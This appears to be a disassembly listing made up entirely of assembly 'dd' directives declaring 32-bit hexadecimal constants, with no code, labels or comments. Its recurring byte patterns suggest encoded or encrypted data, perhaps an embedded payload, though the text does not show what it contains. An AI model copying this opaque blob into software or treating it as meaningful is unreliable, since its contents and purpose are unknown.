		dd 56BAB140h, 0AED6D752h, 59CFD152h, 37367E8Dh,	595B52B2h
		dd 56D5BCBBh, 56E25832h, 0BC85B132h, 7164EC1Ah,	0ADDDFE41h
		dd 0F12ABE42h, 3657B132h, 56ABBCDAh, 9BEB8432h,	9AFAA59Dh
		dd 5214BE59h, 0D1B5FF66h, 565DB132h, 56A3596Dh,	0FDD9B132h
		dd 144DF24Ch, 215A0B8Dh, 593F0BDFh, 5675B1B3h, 0BFDBE932h
		dd 565DB012h, 56AEB8DBh, 0D1639E32h, 38D3EFE0h,	5113501Ah
		dd 4262BEDBh, 0BF75B132h, 56BAB13Dh, 7A6E54C9h,	6D78048Ch
		dd 19DEE9B9h, 915EF505h, 56D5B075h, 0DD16B132h,	40FABEF5h
		dd 0BFBAB132h, 565DB123h, 0F8601CD9h, 0D118E88Fh, 8F08E5F5h
		dd 8E825E85h, 532A3256h, 5675BADBh, 31383032h, 19B2CE3Eh
		dd 312A418Fh, 5653B2DBh, 0DDCDD132h, 91B3D0E1h,	0BFE2BE35h
		dd 5675B137h, 0B97D9916h, 0AF433B95h, 56AEBADBh, 9D106332h
		dd 0AFD2B1EFh, 8BD09AF3h, 36E552B2h, 567E363Dh,	5053B132h
		dd 4E5DB132h, 8B10956h,	0DD31E091h, 0D6CAEFC9h,	593C31F9h
		dd 36EAB132h, 8C605171h, 67CE5983h, 5AE2F503h, 9264A05h
		dd 565F5833h, 6DD8B132h, 0BDA44704h, 112D80F2h,	5675B130h
		dd 0DD424432h, 46B4D1F5h, 8AEB132h, 5AD0CF35h, 424E332Dh
		dd 7E28EDA4h, 598C3394h, 5675B3BAh, 37F30332h, 0AF5B71B1h
		dd 56A9353Dh, 0D458B132h, 56ABB133h, 558F58CEh,	5F03B132h
		dd 9175B132h, 26A08959h, 39950F7Bh, 0C6903054h,	0D0D3BEA2h
		dd 36ABB132h, 372D063Dh, 56EAB4DBh, 3573EC32h, 683A5A88h
		dd 0C2D8BEA2h, 36AEB132h, 5657BCDAh, 0D26C8632h, 3DA6922Eh
		dd 0C7CAE876h, 0DD1383D0h, 0C02E8CAh, 372D9057h, 0A9D03054h
		dd 0D25821A2h, 56ABB177h, 0D7B3E052h, 0DAD9BF5h, 5675B8DAh
		dd 3C8F6D32h, 0C3A5E8DEh, 0E8C8A381h, 37091BAFh, 56ABFBDBh
		dd 56D85832h, 72D0B132h, 0A90CAFC8h, 521278B1h,	362EBE1Fh
		dd 56AEB7DBh, 0A0362032h, 0ED579848h, 207E9AA3h, 362D3A53h
		dd 5E9CA687h, 5DBAB132h, 3A977981h, 37A443DDh, 792B0952h
		dd 0DCA4EEABh, 56D5B132h, 547C5853h, 0DB8DB132h, 0B03B54B0h
		dd 593DD135h, 56AEB1B6h, 0BF36D032h, 56ABB120h,	0ABAE59ACh
		dd 0C3CFEECFh, 0AF72DEECh, 0F021F1E5h, 590DBF71h, 56AEB0B5h
		dd 36014D32h, 59F07BB2h, 0A9B47E85h, 0B0959EA0h, 5AFEBE35h
		dd 59BAB132h, 565DB7B5h, 5624BE32h, 5D57B132h, 4A2FBEF2h
		dd 0AAD5B132h, 0DB1679B9h, 0B0F45480h, 0D3B54435h, 565DB133h
		dd 56D758CBh, 3037B132h, 0CA7BB9h, 56D5B4DBh, 5D67132h
		dd 509C76F4h, 62BAB132h, 0F4786B13h, 0BF603AE5h, 5657B139h
		dd 0BD06C74Ah, 7DA7AE8Eh, 36423EEh, 5674383Dh, 0A946B132h
		dd 0B022BEA0h, 0BFF34935h, 5657B134h, 61A2430Eh, 453C01FCh
		dd 38EAB132h, 7D1977A4h, 9705DEF4h, 6AA9483h, 0BDD38AA2h
		dd 987C309Eh, 0AF7246CBh, 56D8586Ch, 0B8DFB132h, 864A6723h
		dd 318A7869h, 0D5956A38h, 59AF494Fh, 56570AB7h,	5C2DBE32h
		dd 0BFD5B132h, 56EAB137h, 0FD6FE403h, 5737BEB8h, 0A35DB132h
		dd 30CEF882h, 5948AD8Bh, 0FCCA738Dh, 56D5B8DBh,	0B2BC5432h
		dd 0E34AD02Ah, 0EEDCA12Fh, 0D352343Dh, 56AEB13Bh, 0DC070E52h
		dd 0DFDA281h, 367ED753h, 5666BE52h, 0BE75B132h,	56BAB137h
		dd 0DCC986ADh, 59CFEEABh, 5657BDB5h, 56AC5832h,	90EFB132h
		dd 0FE1664AAh, 5B9CD093h, 0A5BAB132h, 537E1FCEh, 1E51C9B7h
		dd 35963075h, 57ED073Dh, 759B0952h, 946BD9BEh, 277627D9h
		dd 42531A53h, 0F75DB132h, 3208538Fh, 4C82F74Ch,	0EE607519h
		dd 0A8C1FC1Eh, 0BFD97376h, 5675B1D0h, 537D3052h, 30533FDAh
		dd 371C478Dh, 54AFCCB1h, 561E343Dh, 5E3CB132h, 0A4EAB132h
		dd 53339F84h, 308596F8h, 3694BA8Ah, 0E6300E54h,	5657B6DBh
		dd 0D45F2332h, 0B2E581AEh, 0A316D153h, 36DED753h, 56B15852h
		dd 0EE34B132h, 45BCB18h, 0D2B082D4h, 594B300Eh,	37E48FFDh
		dd 371E61B2h, 0D27A0954h, 0E1503152h, 565DA1DBh, 9508032h
		dd 497C028Eh, 922C37D9h, 9B8668C5h, 3012D0C0h, 58FCBE99h
		dd 0BFBAB132h, 565DB13Bh, 9608F733h, 82730D50h,	101DBE4Ah
		dd 0B955D133h, 56EC581Ch, 0ACBBB132h, 3DE73EB2h, 0DE521A53h
		dd 56AEB13Eh, 56513D3Dh, 0DFA4B132h, 56D5B132h,	56EA94DBh
		dd 5EFBBE32h, 59BAB132h, 565DB3B8h, 0A5CFD132h,	56475896h
		dd 0E300B132h, 71893103h, 6E4111E3h, 957CF7E8h,	91311A7Ah
		dd 565DBADBh, 0C736B332h, 77B9F438h, 988D9BFEh,	0AA8C4D69h
		dd 0B86AD16Ch, 91444F2h, 56BC5952h, 3583B132h, 1222E560h
		dd 0CB7B0854h, 9E79306Bh, 37CA318Bh, 5766BEFBh,	0AA75B132h
		dd 0BFBAB9F0h, 565DB137h, 0E17E3AE1h, 5644581Eh, 0EE52B132h
		dd 0F9ED77E8h, 2E6D5B3Bh, 0A044C2E3h, 597F62B8h, 58B4E4A9h
		dd 3BAEB132h, 7B32439h,	118C13A7h, 0BD8A72F4h, 36063A74h
		dd 5675A3DBh, 45424632h, 1AEEFEF7h, 697A48C0h, 9DC419FCh
		dd 590962CBh, 56D5B3B6h, 378BD132h, 569D4452h, 0CBAB132h
		dd 0E6B65BB3h, 0BF57B6D4h, 5657B138h, 580B6B3h,	0F5FD21F5h
		dd 0DD12207Fh, 0D67AB977h, 56BAB12Eh, 564B323Dh, 4747B132h
		dd 0E357B132h, 0B1437B6Eh, 34166AD1h, 2323775Fh, 385561ACh
		dd 286133BBh, 0A33DB6D4h, 0DD643052h, 0BF7CB7CEh, 56ABB138h
		dd 8001DB3Fh, 452A4CB6h, 3714FC5Fh, 56B65853h, 98F7B132h
		dd 0C463C29Fh, 35529847h, 0BF622D31h, 56D5B121h, 5D6A2722h
		dd 3D20692Ch, 0FC8FADC4h, 9E4C59F6h, 9443935Ah,	3037B136h
		dd 3CA60B9h, 56D43E3Dh,	0DD16B132h, 4BFFBEDEh, 36BAB132h
		dd 565DA1DBh, 0FC328D32h, 7E20D597h, 1989B372h,	0C527FF64h
		dd 5663BEE7h, 3775B132h, 0AA4275B1h, 57DBBE52h,	0AFAEB132h
		dd 5657B1DAh, 0BC2AEB32h, 5133008Bh, 56EB3D3Dh,	598DB132h
		dd 56BAA6BAh, 564F5832h, 77EEB132h, 6806CE1Ch, 65826A03h
		dd 811FA422h, 0B690F6E9h, 568DF4F5h, 0BFBAB132h, 565DB13Ah
		dd 851A6B64h, 0C2653EFDh, 5657F4F5h, 59D5B132h,	56EAB0B7h
		dd 96464D32h, 0DDDC49CAh, 565A582Ch, 0DC39B132h, 7E711D88h
		dd 9E21D15Bh, 56D5BADAh, 3AB0C632h, 358AB6Dh, 0F149C0DCh
		dd 88AC3054h, 91CFE990h, 0B0D76CB0h, 56ABB035h,	575ABE32h
		dd 0AEEAB132h, 0C68E3054h, 433FBEA2h, 365DB132h, 56AEB4DAh
		dd 6FD93732h, 842BB3C4h, 0C16CEAD0h, 37B5A71Ch,	599D4AB2h
		dd 56BE33B6h, 5FB44432h, 7DAEB132h, 33EF0B8Ch, 46F3FDD3h
		dd 453DD172h, 1FEAB132h, 2E5D6E9Eh, 0C6A31E3Ah,	0AD5575F8h
		dd 6D6554B1h, 53BF801Ch, 86ABB132h, 9ABB6590h, 5303EF6Ch
		dd 8F75B132h, 24204CF4h, 0ADDD4853h, 6E2ABEDBh,	0BF57B136h
		dd 56ABB13Bh, 0BEC3274Ch, 48433C91h, 5915F15Ch,	56BAB2BBh
		dd 8CD6D732h, 22463054h
		dd 0ADD7D089h, 462FBED9h, 0BFD5B136h, 56EAB122h, 0F2406F09h
		dd 7A8180ACh, 6B788654h, 0F7C99C3Eh, 0EFEDD752h, 56AD596Fh
		dd 0E115B132h, 0ACDE952Eh, 372FD052h, 0B13A4472h, 0ADD6D1C2h
		dd 0CE713052h, 0DC2FE6C9h, 59CAD0E6h, 56D5BDB7h, 506FBE32h
		dd 5975B132h, 56BAB1B6h, 0ADDCD732h, 0D2A1313Dh, 5657B285h
		dd 0FB29B2CAh, 59D25127h, 56EAA8BAh, 45F5BE32h,	0BFBAB132h
		dd 565DB13Ch, 401AA5Fh,	0AD14183Ah, 0DE83BE8Eh,	0BF95A43Ch
		dd 56EAB134h, 0E4EF0C7Bh, 0AD3A73CDh, 22D9BED0h, 0BFAEB131h
		dd 5657B137h, 1AA8A2BCh, 0B52E3190h, 55AE353Dh,	599CB132h
		dd 0A1BAB132h, 97C600CDh, 0D98E46C7h, 708A98CFh, 0D7CD510Dh
		dd 5936D6C9h, 56E9F3B6h, 0B5F54832h, 0AD3A44C2h, 6AD9BE42h
		dd 36AEB131h, 9F993054h, 73100BDDh, 0A3B48919h,	0AEF43A54h
		dd 0BF8D52B2h, 56BAB13Ah, 0EDF1D437h, 62170C7Ch, 59EF4AB2h
		dd 56AAC5B6h, 68554932h, 3C6EBE37h, 0BF75B133h,	56BAB121h
		dd 8108BDF7h, 9811477Eh, 1BECF01Ah, 0C789158Bh,	0D6E2F03Eh
		dd 0D2E59C0Ch, 5675B07Bh, 3E8431CBh, 5762353Dh,	3656B132h
		dd 5657BBDBh, 39598332h, 0D2AA0A19h, 0BED090A6h, 5675B126h
		dd 0BE856F57h, 0A6DB8B30h, 1A78FD85h, 0A04DBF95h, 0AFC5DA9Fh
		dd 0AF95D06Ah, 56EAA3DBh, 87552832h, 0E0738839h, 1D17DED9h
		dd 6DE54573h, 0A950D19Ch, 0B02B6CB0h, 0AE20D135h, 4861D753h
		dd 5675A0DBh, 0A91E4532h, 0E99EF6h, 0DD70A867h,	0C93F8A4Fh
		dd 0B12B266Dh, 855ED1CAh, 0AD6BD753h, 0D27A59B3h, 56BAB1F7h
		dd 565DA3DBh, 29434B32h, 71CAFAF4h, 6531553Ah, 8A442E9h
		dd 3045D56Fh, 3015AFB9h, 0E1B549B9h, 0B1DDD0E0h, 56BC58C2h
		dd 704B132h, 0AADCA998h, 0A72C78C0h, 51F63964h,	51B61FEEh
		dd 0D7413054h, 28D9BEF2h, 59AEB132h, 5657B6B7h,	0D7CDD132h
		dd 37D5D2D1h, 56EF5852h, 0D794B132h, 36C568E9h,	82B53163h
		dd 374F026Bh, 5BDFBE67h, 0BFABB132h, 56D5B13Ah,	11B5BE7Bh
		dd 7B6631FCh, 29B523CDh, 0D652B6D4h, 56AEB133h,	0DFAEECCBh
		dd 0D4A44D77h, 56D5B13Ch, 0A6383052h, 5968C227h, 56BAB1BFh
		dd 0BF3CD032h, 56AEB120h, 0DF357677h, 9BB1CE23h, 0A02B87E1h
		dd 27F5A09Bh, 2BF6A9E0h, 0D3B5B0CEh, 565DB7BEh,	0AF143ACBh
		dd 5950512Bh, 56ABA7BCh, 56C45832h, 0C4CBB132h,	279BFF3h
		dd 8E968464h, 0C21B3E11h, 6E1D9F9h, 97B13052h, 309E3021h
		dd 0D61168B3h, 8B683A53h, 367257B2h, 0F05B3054h, 0A9E20BA0h
		dd 6FCFE280h, 0DD58810Eh, 56ABB122h, 56D5BADBh,	5851DD32h
		dd 44E21B14h, 4522D5CAh, 7FDFBE6Ah, 0AFAEB134h,	47C60BB9h
		dd 0DDA4B6D2h, 56D5B139h, 56EAB7DBh, 0BF1E9732h, 6493367h
		dd 78B33052h, 0BEA1614Dh, 5657B134h, 19FBED09h,	0B955C126h
		dd 0DD8BE84Fh, 0B0F56CB0h, 56BC5835h, 0F7EDB132h, 6E48F87Ah
		dd 666B88CEh, 30563B52h, 3767BC8Ch, 0D9E5E9C7h,	5675B4E6h
		dd 56A33C3Dh, 42B4B132h, 33AEB132h, 7872AFBCh, 38B33A49h
		dd 95D8B5BAh, 3F391F1Eh, 0DD9AF841h, 0B0C42388h, 5CDDBE35h
		dd 36AEB132h, 6A3B5BB3h, 0FFBE4E4h, 0C4573253h,	42ED574Ch
		dd 364238CAh, 30DBD152h, 0D63C4BB9h, 0DFCFDAF6h, 3037A175h
		dd 6CA68B9h, 8B573ACBh,	59ED57B2h, 5675B7B3h, 0DE8D132h
		dd 0DD3CEE61h, 0AE56812Eh, 58BED16Ah, 4FABB132h, 0BBDA9628h
		dd 0CBB10570h, 57783305h, 0D559300Fh, 3736963Fh, 0F510D752h
		dd 0EF31E714h, 37F387FFh, 0BFDDEEBBh, 56EAB139h, 9426E997h
		dd 3865734Ah, 0BFA179D7h, 56AEB41Ah, 5657A0DBh,	0E8628032h
		dd 743AED7Ah, 8A15DDC8h, 4FB86914h, 137DF9D4h, 565DB3CAh
		dd 0A825D132h, 37A63A54h, 56ABA3DBh, 56D05832h,	0E4FCB132h
		dd 91FE9811h, 56BB4977h, 0DDA8B132h, 0B0D02388h, 58D2BE35h
		dd 0BFABB132h, 56D5B13Bh, 2551AEC9h, 3C555D31h,	0C438329Bh
		dd 425A574Ch, 56AB5852h, 0BBE5B132h, 0DCAEABF5h, 615CD0D0h
		dd 0DD8CD152h, 372AE6F9h, 56BAA1DBh, 2F6C1D32h,	65676D2Ah
		dd 99A99002h, 23ECA32h,	115CD08Bh, 56E75822h, 4C4BB132h
		dd 559EF874h, 0F5905B9Dh, 59F604D2h, 5657BDB5h,	502CBE32h
		dd 59D5B132h, 56EAB1BEh, 558D3232h, 568B343Dh, 0E53DB132h
		dd 91CF44A5h, 0B0D76CB0h, 56ABB335h, 56DA5832h,	0F71BB132h
		dd 872DB28Dh, 0C1356BE1h, 0B63F8D53h, 56B75888h, 3037B132h
		dd 30F02B8Bh, 0D5B446B9h, 0DBE5B3CAh, 5675B3C4h, 56BB353Dh
		dd 0D5A5B132h, 59AE494Fh, 565742B6h, 0BB2BD132h, 56D858CDh
		dd 898B132h, 5C397A2Ah,	8F453E80h, 375C9F79h, 57E8073Dh
		dd 0DBE3052h, 378D5CE5h, 56D5319Bh, 336FBE32h, 5975B132h
		dd 56BAAEB4h, 4FD1BE32h, 0BFAEB132h, 5657B126h,	3D030786h
		dd 0BE526B69h, 8A50ABC8h, 9C9D86E1h, 186553BEh,	43D9BE72h
		dd 0BFAEB132h, 5657B122h, 0A7D279EAh, 0B91EEE4h, 3F5B6C30h
		dd 0FC265163h, 56BB393Dh, 0D5A8B132h, 0DFA1B4DAh, 5657B133h
		dd 0D4248C7h, 59D5B132h, 56EAB6BAh, 57F9BE32h, 0AABAB132h
		dd 565D4E1Fh, 0BE2D4432h, 0DD58D137h, 56ABB13Dh, 56D5B8DAh
		dd 0DACD6032h, 0F76B837Bh, 0BEE574DCh, 565DB120h, 0EC26E58Ch
		dd 0F0D45790h, 2D958A09h, 8423749h, 4602DF99h, 6375B132h
		dd 0FFAF880Dh, 5483A84h, 86B551BBh, 0DD4C395h, 2342D06Ch
		dd 36D5B132h, 0EE9C0B63h, 302EED5Eh, 37E1D488h,	4BE2D161h
		dd 37FA7071h, 5657A5DBh, 58A7B932h, 7FAE4583h, 234ECBA1h
		dd 0CFCECC39h, 0B84AD634h, 8BC73A14h, 59A957B2h, 5657BDB7h
		dd 502EBE32h, 59D5B132h, 56EAB1BBh, 56725832h, 2BADB132h
		dd 0E8ADA61Dh, 65AA3AA3h, 5657B8DBh, 33321932h,	0B937CDFAh
		dd 0BFB10D3Ah, 5675B13Eh, 0D959CAB4h, 0E0E0BC34h, 0E601E75h
		dd 5657B19Bh, 0DF2EBEB2h, 0BFD5B132h, 56EAB13Fh, 699C742Fh
		dd 8980C47Fh, 4D9634A4h, 3668B22Fh, 0D73143B9h,	37E1B2F4h
		dd 0BFD071B1h, 56EAB120h, 57FF3DE0h, 9B22FF2Eh,	4CFE4E6Bh
		dd 597D455Bh, 0D658F40Bh, 56ABB128h, 915ED752h,	56EAA1DBh
		dd 524F8932h, 0F2CD0185h, 0D584F662h, 9441CD31h, 0D454D04Eh
		dd 514D31EFh, 533C4452h, 23EAB132h, 1B32855Dh, 5353F953h
		dd 675DB132h, 52D9A157h, 0AA5FF6BBh, 59A7F6BBh,	56D5B0BCh
		dd 63034932h, 0A375B130h, 0DBB569C5h, 565DB127h, 56AEA1DBh
		dd 13927032h, 5B524C6Dh, 966F0754h, 0C966EC04h,	36B39A61h
		dd 59733054h, 0A13C44AFh, 4B2DBEEAh, 5957B132h,	56ABA6B1h
		dd 56C75832h, 0A7BEB132h, 0DD86A419h, 83114A82h, 3981E71Fh
		dd 6BE9D547h, 365271B1h, 5625BE52h, 37D5B132h, 56E73A3Dh
		dd 5E9CB132h, 1DBAB132h, 0F18BF86Ah, 3764611Ah,	5657A1DBh
		dd 7F1B7832h, 0E38C02F8h, 0FFB8C725h, 0D6EE5BA7h, 8B38B294h
		dd 365A57B2h, 59FE8482h, 5657B1B7h, 1ECAE832h, 56D5BDDBh
		dd 83758F32h, 0C98A941Bh, 0D64DE49Eh, 5E1A38D0h, 56AEBEDBh
		dd 8DC3A732h, 0B4B56450h, 0FBA9B8FBh, 78AFFBBBh, 5979F6BBh
		dd 56BABBB9h, 0B2EBD132h, 56AE3D3Dh, 0BF36B132h, 56ABB134h
		dd 7FCE869Eh, 3033841h,	0BF75B133h, 56BAB120h, 3A360A45h
		dd 0BDEB38ACh, 4DD11666h, 0F9CEF73Ch, 96E67BCEh, 56EB353Dh
		dd 0DC8DB132h, 0FE43B074h, 0F0D8BEB2h, 59AEB132h, 5657B0BBh
		dd 90A84932h, 5755BECBh, 0AFEAB132h, 0AA7771B1h, 56BAB089h
		dd 5FD1BE32h, 36AEB132h
		dd 56573D3Dh, 3753B132h, 0D2DA6A39h, 56EAB110h,	56723E3Dh
		dd 0D2B5B132h, 565DB133h, 0A6343BCAh, 0AF50549Eh, 59AA52B2h
		dd 56D5B4BDh, 0E1E5D132h, 9576D0C0h, 5038BE52h,	0D75DB132h
		dd 0AB2698C1h, 565B5843h, 0A99FB132h, 0E04564E6h, 0C7E8F80Eh
		dd 0DF14ED5Eh, 0DF46B975h, 303DBD75h, 594748B9h, 8457B132h
		dd 9E4265D1h, 2390CA62h, 0A55E0BF0h, 0A3149C4Ah, 56BA3EDBh
		dd 565A5832h, 0A386B132h, 0C20D7E4Ah, 5973461Dh, 56D5BDB1h
		dd 56ED5832h, 0FB27B132h, 0AA0D91BDh, 0A9784980h, 0BFAEB132h
		dd 5657B122h, 0A3DE879Ah, 0ED8B9671h, 0ED0CFB52h, 0DB56479Ah
		dd 0A1467719h, 564D58EAh, 238AB132h, 0DF65F3B9h, 9B3EBB73h
		dd 5917F9A6h, 9669226Ch, 11FC4D30h, 56B2583Ah, 4045B132h
		dd 0FE912FD8h, 0DFAB6898h, 0BECBBD75h, 56D5B123h, 10ED074Fh
		dd 8D210EEEh, 3E931F10h, 0C0B2A1BFh, 9553AA7h, 57DBBE53h
		dd 0AAABB132h, 56DE58CAh, 68FAB132h, 9D3018D0h,	0C566CB69h
		dd 5EB4D02Dh, 8AAEB132h, 50010648h, 9FBCE7E4h, 56F73C3Dh
		dd 0BF8AB132h, 5675B13Fh, 262B8F83h, 73B62514h,	0F1A93C5Bh
		dd 565E5871h, 8E9BB132h, 52E6EC15h, 370E017Ch, 56793F3Dh
		dd 0D5B5B132h, 565DB134h, 56AE363Dh, 3694B132h,	0E362063Dh
		dd 30B5D08Bh, 59853A89h, 5675B3BCh, 37DBD132h, 0DD3CD167h
		dd 922D48DEh, 85D6D1CEh, 35008291h, 56D35865h, 1771B132h
		dd 0F7730A16h, 0BFDAD068h, 565DB13Bh, 12D482B9h, 0C244283Ch
		dd 56AC5894h, 0A443B132h, 8C5DEFF9h, 56755969h,	0D7E0B132h
		dd 0B0E13BD8h, 4C2EBE35h, 3657B132h, 56ABBCDBh,	0BE1C7232h
		dd 607F7CCEh, 13CFCCEAh, 0D4B5AEECh, 565DB132h,	0D4A1D153h
		dd 5657B12Bh, 56ABA5DBh, 3E60D32h, 2C27AE6h, 8B5A12F0h
		dd 5029C4AEh, 0B688557Bh, 3617D7C5h, 0ECDCD069h, 514DCF4Ch
		dd 9FE644CBh, 56F83F3Dh, 5B9CB132h, 7ABAB132h, 11C2515Fh
		dd 44AF99BCh, 14ABD680h, 59AB8EB1h, 56D10DB6h, 18A4D32h
		dd 52FEB63h, 16EB0954h,	51D6D06Bh, 56AEB8DBh, 27C8CB32h
		dd 8DE79B60h, 232A8288h, 0BE8AD13Eh, 5675B13Ch,	0E8484ADBh
		dd 9EEEBA91h, 0A441DDF8h, 370CC938h, 5EDE4E53h,	423CE1CAh
		dd 73EAB132h, 511A6FA7h, 0CDFA66CBh, 8853F294h,	0EE22D9A0h
		dd 0BEB3AD45h, 56ABB8D1h, 56D5A1DBh, 4037E832h,	9426E997h
		dd 3865734Ah, 7BA179D7h, 596EBAE5h, 5657BEB7h, 8920D132h
		dd 0DDB49487h, 5D034935h, 0A375B132h, 0AFAE76B1h, 0A9A2D6DBh
		dd 13274DCDh, 0D731D1CEh, 644C9FCh, 8447FB2h, 5A9F4E53h
		dd 566E313Dh, 59DAB132h, 565DB1BBh, 56A05832h, 0EE6AB132h
		dd 0BD5AA5ECh, 0FCDCDE72h, 74C10912h, 56675853h, 937EB132h
		dd 0C0BE0598h, 170BC53h, 0AE8B28F3h, 1FEDAB0Ch,	59DDC4CDh
		dd 56EAA1B0h, 567E5832h, 42F3B132h, 622732A8h, 0E2EFC52h
		dd 36604E56h, 0E9640E3Dh, 532C2D1Eh, 5FD35953h,	0DD7AB132h
		dd 56BAB12Ah, 564F3A3Dh, 5B47B132h, 8F57B132h, 0CFE8961Ch
		dd 7B48780Ch, 47649FFCh, 0D27A7139h, 56BAB13Ah,	55D658CAh
		dd 0AF5BB132h, 36ABF4B9h, 8AA00F54h, 56D9333Dh,	5103B132h
		dd 6F75B132h, 29E0A1E0h, 6F3C991Fh, 302CBE35h, 5957B131h
		dd 56ABB0BCh, 132A4D32h, 576FBECEh, 0A375B132h,	56BECEB1h
		dd 5611353Dh, 0D557B132h, 5957BD4Dh, 56ABF0B6h,	0D2DAD132h
		dd 56EAB136h, 0A4B40F54h, 56BAA1DAh, 51BEC232h,	4A54839Fh
		dd 634E0BEBh, 0A0F599B7h, 0EF4108FBh, 37B1B4FDh, 5675FDDBh
		dd 56AA5832h, 466AB132h, 5896DEFBh, 86631B77h, 7F8BB0D4h
		dd 0A96DACE8h, 36154ECDh, 5674303Dh, 0E046B132h, 53E4D0D0h
		dd 0AEAEB132h, 0BFAE1AC1h, 0A9544FF7h, 56D5A5DBh, 7219A32h
		dd 117B7B60h, 2A10AC85h, 99EFFBF6h, 0C0CD73A6h,	462832D3h
		dd 0CB2FBE37h, 59D5B132h, 56EABFB7h, 0A6F4D132h, 8611B00h
		dd 565D3D3Dh, 59CFB132h, 5657B6B2h, 0ECCDD132h,	372D6D26h
		dd 50FACEB1h, 56DB343Dh, 1746B132h, 56443E3Dh, 4247B132h
		dd 0D657B132h, 6BC3E68h, 74C720C2h, 8A1043CDh, 1A6D7821h
		dd 0DD43B313h, 303DB575h, 0F63062B3h, 4AD40954h, 5AF43A53h
		dd 56DF5852h, 0B8F3B132h, 0BA5DA29Fh, 7FD89625h, 0F71A66B3h
		dd 0BFCFFBF5h, 5657B120h, 88ED58E8h, 7229DE8h, 0AFA601D4h
		dd 824C7DACh, 0EA5305CDh, 365DB133h, 56AEB4DAh,	4DBC5332h
		dd 37F0BA4Fh, 36D1F6B9h, 0EEAE47B2h, 6F0E7149h,	4431BE53h
		dd 365DB132h, 56AEB4DAh, 0C78ED432h, 0ECF1D4EBh, 41516A2Bh
		dd 5AB53A53h, 90F4D752h, 0BFDB6BF1h, 565DB042h,	20413052h
		dd 3732D624h, 0AFAFF6B9h, 36D9EEB9h, 373D3AC7h,	5E2A8ACEh
		dd 5629343Dh, 373DB132h, 5847D160h, 5657B132h, 0BBFEB397h
		dd 0CFDCFD52h, 0CAFFDB26h, 36144D7Fh, 56BAA0DBh, 0D3C36132h
		dd 0F011EF31h, 8325284Dh, 84EC725Ch, 372D702Ch,	0BFEEE6B9h
		dd 5675B13Fh, 0D0379F2Dh, 848E5873h, 5D449420h,	46029A0Ah
		dd 56ABBDDBh, 57149E32h, 9B51705Bh, 0CF8BD2D8h,	42EFB2D1h
		dd 565DBBDBh, 6E2E5C32h, 0E0E8DFEBh, 59E82663h,	56D5B6B1h
		dd 5767BE32h, 0AF75B132h, 0AAB6EEB9h, 0D5A56B19h, 0C57B4D9h
		dd 56C458CEh, 59CBB132h, 975E4F8Dh, 52AD3A53h, 567B5952h
		dd 6474B132h, 59FC90EFh, 0D6900F75h, 4ADE0611h,	56AB3D3Dh
		dd 0BE8FB132h, 56EAB123h, 0E58A58B7h, 418E0E4Eh, 0AC3CDCEDh
		dd 0B2E3CD1Bh, 5650597Bh, 5E44B132h, 1B043B8Eh,	37B3E8D5h
		dd 0BF79EEB9h, 56BAB123h, 0D07E30ABh, 17732BDh,	7B1A56A0h
		dd 0CDBE92CCh, 528A9A17h, 56EAB7DBh, 0FEC5F332h, 0AE3B52A7h
		dd 59585AB1h, 56AEB0BAh, 0DC544832h, 514BA447h,	56DE343Dh
		dd 5003B132h, 7B75B132h, 7235D98h, 462232C2h, 7F2BBE31h
		dd 3657B132h, 0ED90A54h, 56D5BADBh, 96343D32h, 0B2C2A9D8h
		dd 60827659h, 5BB4F053h, 9BAEB132h, 21AC3D4Bh, 9F34333Bh
		dd 0B9C7BD1Eh, 308A6819h, 302B3789h, 0DFDB46B9h, 595CB06Eh
		dd 56AEB0B9h, 0A9EF4432h, 0BF544ECDh, 56D5B139h, 0D385DD78h
		dd 0FEB0E368h, 0EFCCFBE2h, 565DB137h, 502DBE52h, 0D757B132h
		dd 50AD22D2h, 805ED777h, 0BF414253h, 5675B135h,	0E1FB3D0Dh
		dd 0BF57A9D5h, 0A9514D3Fh, 5657BADBh, 58D4D432h, 3ACC9210h
		dd 8E03B516h, 82F5D152h, 56B25802h, 4B67B132h, 0ABDFA1BDh
		dd 30364019h, 822F79B3h, 0D6DAD053h, 56EAB137h,	37154852h
		dd 0DD42D153h, 3694D0CCh, 0BF5C3A54h, 5657B13Eh, 1AE89D74h
		dd 7A916150h, 21BAC50Bh, 56657353h, 0BFDAE4CBh,	565DB13Ch
		dd 0DEBDBC66h, 0D88A7001h, 43E7BDB4h, 0AE5EB25Ch, 59063A53h
		dd 5675B0BEh, 0D8B54432h, 565DB13Fh, 56AEB9DBh,	7D1ADC32h
		dd 3BE61613h, 0AA1132E5h, 56E63C3Dh, 0DB7AB132h, 56BAB134h
		dd 565D313Dh, 0A3CEB132h, 5657B1DAh, 0BC2AEB32h, 5133730Bh
		dd 56EC58CAh, 4C22B132h, 0F83BBB87h, 28230BB9h,	4647B6D4h
		dd 0D757B132h, 0DCF5A5DFh, 242ED8B9h, 6B4B0EBDh, 652BF8E2h
		dd 56B158FBh, 6D7FB132h, 249AADD5h, 763F3750h, 569432E4h
		dd 525F353Dh, 4403B132h, 7675B132h, 0F04EE707h,	884687E4h
		dd 0D4EE1927h, 842342C2h, 0BFAC3A2Fh, 56D5B13Ch, 65E7C5A6h
		dd 0DCC3B86h, 0C43E4CD2h, 0A9A1A594h, 30CEBD47h, 37A09A89h
		dd 36A3C4CDh, 0BF0A3A54h, 56EAB120h, 4B7E64A3h,	72EA9AA4h
		dd 0DFD102Ah, 995672CBh
		dd 63672E8h, 52CA59CBh,	37B5B132h, 0D3E57139h, 5675B17Fh
		dd 56BD323Dh, 0EC3DB132h, 59C5B0D9h, 565C5853h,	7E53B132h
		dd 793F5069h, 150A9008h, 59723A52h, 56BAB0BDh, 0E33D4D32h
		dd 5226BE77h, 3057B132h, 37D2028Dh, 56D582DBh, 0D78A4832h
		dd 0D52A70E9h, 5339BE06h, 0E95DB132h, 15AF54EDh, 42903253h
		dd 0A99058CEh, 473C4ECDh, 0D1EAB132h, 3B704A38h, 0F5E2E46Dh
		dd 35909B0Fh, 52D98F9h,	0A3ABF4BBh, 36A7C4CDh, 6D233054h
		dd 2315D0EEh, 308DD13Ah, 0A9DB66B9h, 0D73BD105h, 30E29BC1h
		dd 34DC71B3h, 556A5953h, 0AEB5B132h, 5E61BE53h,	5975B132h
		dd 56BAB3BAh, 5D3CD132h, 1C2ABEF2h, 3657B132h, 56ABA0DBh
		dd 0F8F1DF32h, 24562189h, 66D4B9E8h, 7E73CBDh, 53B4303Eh
		dd 40AEB132h, 637CE0D0h, 56AD5853h, 5E83B132h, 8E68297Fh
		dd 5676F2DBh, 5852D132h, 295DB132h, 0A8358960h,	2481EBB3h
		dd 2076C86Eh, 0B45FE90Ah, 0AAAF3A53h, 5675BEDBh, 443ECC32h
